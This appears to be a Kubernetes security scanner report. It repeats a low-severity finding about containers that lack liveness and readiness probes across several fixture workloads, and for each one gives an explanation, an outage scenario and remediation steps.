Container app in DaemonSet/rbac-fixtures/daemon-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. A regression in the app deployed via DaemonSet/daemon-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/cloud-eks-test/imds-pivot-app Workload 3.5
Container app in Deployment/cloud-eks-test/imds-pivot-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imds-pivot-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/cloud-eks-test/irsa-admin-app Workload 3.5
Container app in Deployment/cloud-eks-test/irsa-admin-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/irsa-admin-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/containersec-fixtures/containersec-probes Workload 3.5
Container app in Deployment/containersec-fixtures/containersec-probes has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/containersec-probes deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/csr-fixtures/csr-mint-app Workload 3.5
Container app in Deployment/csr-fixtures/csr-mint-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Defense Evasion Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/csr-mint-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/flat-network/unmatched Workload 3.5
Container app in Deployment/flat-network/unmatched has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Defense Evasion Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/unmatched deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/ingress-only/ingress-app Workload 3.5
Container app in Deployment/ingress-only/ingress-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Defense Evasion Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/ingress-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/lp-fixtures/lp-narrow-app Workload 3.5
Container app in Deployment/lp-fixtures/lp-narrow-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Defense Evasion Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/lp-narrow-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/lp-fixtures/lp-orphan-app Workload 3.5
Container app in Deployment/lp-fixtures/lp-orphan-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Defense Evasion Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-orphan-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/lp-orphan-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/lp-fixtures/lp-wildcard-app Workload 3.5
Container app in Deployment/lp-fixtures/lp-wildcard-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Defense Evasion Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/lp-wildcard-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
